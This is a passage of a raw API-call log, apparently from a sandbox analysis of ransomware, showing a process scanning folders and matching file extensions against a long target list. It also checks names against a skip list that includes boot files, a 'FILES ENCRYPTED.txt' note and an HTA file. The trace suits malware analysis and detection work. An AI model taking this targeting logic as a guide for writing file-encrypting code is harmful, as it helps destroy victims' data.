	[0164.400] lstrlenW (lpString=".divx") returned 5
	[0164.400] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".djvu") returned 5
	[0164.400] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".dng") returned 4
	[0164.400] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".doc") returned 4
	[0164.400] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".docm") returned 5
	[0164.400] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".docx") returned 5
	[0164.400] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".dot") returned 4
	[0164.400] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dotm") returned 5
	[0164.400] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".dotx") returned 5
	[0164.400] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.400] lstrlenW (lpString=".dpx") returned 4
	[0164.400] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.400] lstrlenW (lpString=".dqy") returned 4
	[0164.401] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".dsn") returned 4
	[0164.401] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".dt") returned 3
	[0164.401] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.401] lstrlenW (lpString=".dtd") returned 4
	[0164.401] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".dwg") returned 4
	[0164.401] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".dwt") returned 4
	[0164.401] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".dx") returned 3
	[0164.401] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.401] lstrlenW (lpString=".dxf") returned 4
	[0164.401] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".edml") returned 5
	[0164.401] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.401] lstrlenW (lpString=".efd") returned 4
	[0164.401] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".elf") returned 4
	[0164.401] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".emf") returned 4
	[0164.401] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".emz") returned 4
	[0164.401] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".epf") returned 4
	[0164.401] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".eps") returned 4
	[0164.401] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.401] lstrlenW (lpString=".epsf") returned 5
	[0164.401] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.401] lstrlenW (lpString=".epsp") returned 5
	[0164.401] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.401] lstrlenW (lpString=".erf") returned 4
	[0164.401] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".exr") returned 4
	[0164.402] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".f4v") returned 4
	[0164.402] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".fido") returned 5
	[0164.402] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.402] lstrlenW (lpString=".flm") returned 4
	[0164.402] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".flv") returned 4
	[0164.402] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".frm") returned 4
	[0164.402] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".fxg") returned 4
	[0164.402] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".geo") returned 4
	[0164.402] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".gif") returned 4
	[0164.402] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".grs") returned 4
	[0164.402] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".gz") returned 3
	[0164.402] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.402] lstrlenW (lpString=".h") returned 2
	[0164.402] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.402] lstrlenW (lpString=".hdr") returned 4
	[0164.402] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".hpp") returned 4
	[0164.402] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".hta") returned 4
	[0164.402] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".htc") returned 4
	[0164.402] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".htm") returned 4
	[0164.402] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.402] lstrlenW (lpString=".html") returned 5
	[0164.403] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.403] lstrlenW (lpString="index.html") returned 10
	[0164.403] lstrlenW (lpString=".GTF") returned 4
	[0164.403] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.403] lstrlenW (lpString="index.html") returned 10
	[0164.403] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.403] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.403] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.403] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.403] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.403] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.403] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.403] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.403] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\index.html") returned 111
	[0164.403] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.403] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.403] lstrlenW (lpString=".1cd") returned 4
	[0164.403] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.403] lstrlenW (lpString=".3ds") returned 4
	[0164.403] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.403] lstrlenW (lpString=".3fr") returned 4
	[0164.403] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.403] lstrlenW (lpString=".3g2") returned 4
	[0164.404] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".3gp") returned 4
	[0164.404] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".7z") returned 3
	[0164.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.404] lstrlenW (lpString=".accda") returned 6
	[0164.404] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".accdb") returned 6
	[0164.404] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".accdc") returned 6
	[0164.404] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".accde") returned 6
	[0164.404] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".accdt") returned 6
	[0164.404] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".accdw") returned 6
	[0164.404] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.404] lstrlenW (lpString=".adb") returned 4
	[0164.404] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".adp") returned 4
	[0164.404] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai") returned 3
	[0164.404] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.404] lstrlenW (lpString=".ai3") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai4") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai5") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai6") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai7") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.404] lstrlenW (lpString=".ai8") returned 4
	[0164.404] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".anim") returned 5
	[0164.405] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.405] lstrlenW (lpString=".arw") returned 4
	[0164.405] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".as") returned 3
	[0164.405] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.405] lstrlenW (lpString=".asa") returned 4
	[0164.405] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".asc") returned 4
	[0164.405] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".ascx") returned 5
	[0164.405] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.405] lstrlenW (lpString=".asm") returned 4
	[0164.405] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".asmx") returned 5
	[0164.405] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.405] lstrlenW (lpString=".asp") returned 4
	[0164.405] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".aspx") returned 5
	[0164.405] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.405] lstrlenW (lpString=".asr") returned 4
	[0164.405] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".asx") returned 4
	[0164.405] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".avi") returned 4
	[0164.405] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".avs") returned 4
	[0164.405] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".backup") returned 7
	[0164.405] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.405] lstrlenW (lpString=".bak") returned 4
	[0164.405] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".bay") returned 4
	[0164.405] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.405] lstrlenW (lpString=".bd") returned 3
	[0164.406] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.406] lstrlenW (lpString=".bin") returned 4
	[0164.406] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".bmp") returned 4
	[0164.406] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".bz2") returned 4
	[0164.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".c") returned 2
	[0164.406] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.406] lstrlenW (lpString=".cdr") returned 4
	[0164.406] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".cer") returned 4
	[0164.406] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".cf") returned 3
	[0164.406] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.406] lstrlenW (lpString=".cfc") returned 4
	[0164.406] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".cfm") returned 4
	[0164.406] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".cfml") returned 5
	[0164.406] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.406] lstrlenW (lpString=".cfu") returned 4
	[0164.406] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".chm") returned 4
	[0164.406] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".cin") returned 4
	[0164.406] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".class") returned 6
	[0164.406] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.406] lstrlenW (lpString=".clx") returned 4
	[0164.406] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.406] lstrlenW (lpString=".config") returned 7
	[0164.406] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.406] lstrlenW (lpString=".cpp") returned 4
	[0164.407] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".cr2") returned 4
	[0164.407] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".crt") returned 4
	[0164.407] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".crw") returned 4
	[0164.407] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".cs") returned 3
	[0164.407] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.407] lstrlenW (lpString=".css") returned 4
	[0164.407] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".csv") returned 4
	[0164.407] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".cub") returned 4
	[0164.407] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dae") returned 4
	[0164.407] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dat") returned 4
	[0164.407] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".db") returned 3
	[0164.407] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.407] lstrlenW (lpString=".dbf") returned 4
	[0164.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dbx") returned 4
	[0164.407] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dc3") returned 4
	[0164.407] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dcm") returned 4
	[0164.407] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dcr") returned 4
	[0164.407] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".der") returned 4
	[0164.407] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.407] lstrlenW (lpString=".dib") returned 4
	[0164.407] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dic") returned 4
	[0164.408] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dif") returned 4
	[0164.408] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".divx") returned 5
	[0164.408] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".djvu") returned 5
	[0164.408] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".dng") returned 4
	[0164.408] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".doc") returned 4
	[0164.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".docm") returned 5
	[0164.408] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".docx") returned 5
	[0164.408] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".dot") returned 4
	[0164.408] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dotm") returned 5
	[0164.408] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".dotx") returned 5
	[0164.408] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.408] lstrlenW (lpString=".dpx") returned 4
	[0164.408] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dqy") returned 4
	[0164.408] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dsn") returned 4
	[0164.408] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dt") returned 3
	[0164.408] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.408] lstrlenW (lpString=".dtd") returned 4
	[0164.408] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dwg") returned 4
	[0164.408] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.408] lstrlenW (lpString=".dwt") returned 4
	[0164.408] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".dx") returned 3
	[0164.409] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.409] lstrlenW (lpString=".dxf") returned 4
	[0164.409] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".edml") returned 5
	[0164.409] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.409] lstrlenW (lpString=".efd") returned 4
	[0164.409] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".elf") returned 4
	[0164.409] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".emf") returned 4
	[0164.409] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".emz") returned 4
	[0164.409] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".epf") returned 4
	[0164.409] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".eps") returned 4
	[0164.409] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".epsf") returned 5
	[0164.409] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.409] lstrlenW (lpString=".epsp") returned 5
	[0164.409] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.409] lstrlenW (lpString=".erf") returned 4
	[0164.409] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".exr") returned 4
	[0164.409] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".f4v") returned 4
	[0164.409] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.409] lstrlenW (lpString=".fido") returned 5
	[0164.409] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.409] lstrlenW (lpString=".flm") returned 4
	[0164.409] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".flv") returned 4
	[0164.410] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".frm") returned 4
	[0164.410] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".fxg") returned 4
	[0164.410] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".geo") returned 4
	[0164.410] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".gif") returned 4
	[0164.410] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".grs") returned 4
	[0164.410] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".gz") returned 3
	[0164.410] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.410] lstrlenW (lpString=".h") returned 2
	[0164.410] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.410] lstrlenW (lpString=".hdr") returned 4
	[0164.410] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".hpp") returned 4
	[0164.410] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".hta") returned 4
	[0164.410] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".htc") returned 4
	[0164.410] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.410] lstrlenW (lpString=".htm") returned 4
	[0164.410] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.411] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.411] lstrlenW (lpString=".1cd") returned 4
	[0164.411] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.411] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.411] FindClose (in: hFindFile=0x4140298 | out: hFindFile=0x4140298) returned 1
	[0164.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.412] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0164.412] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.412] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB") returned 100
	[0164.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41401d8
	[0164.414] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.414] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.414] lstrlenW (lpString="index.html") returned 10
	[0164.414] lstrlenW (lpString=".1cd") returned 4
	[0164.415] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".3ds") returned 4
	[0164.415] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".3fr") returned 4
	[0164.415] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".3g2") returned 4
	[0164.415] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".3gp") returned 4
	[0164.415] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.415] lstrlenW (lpString=".7z") returned 3
	[0164.415] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
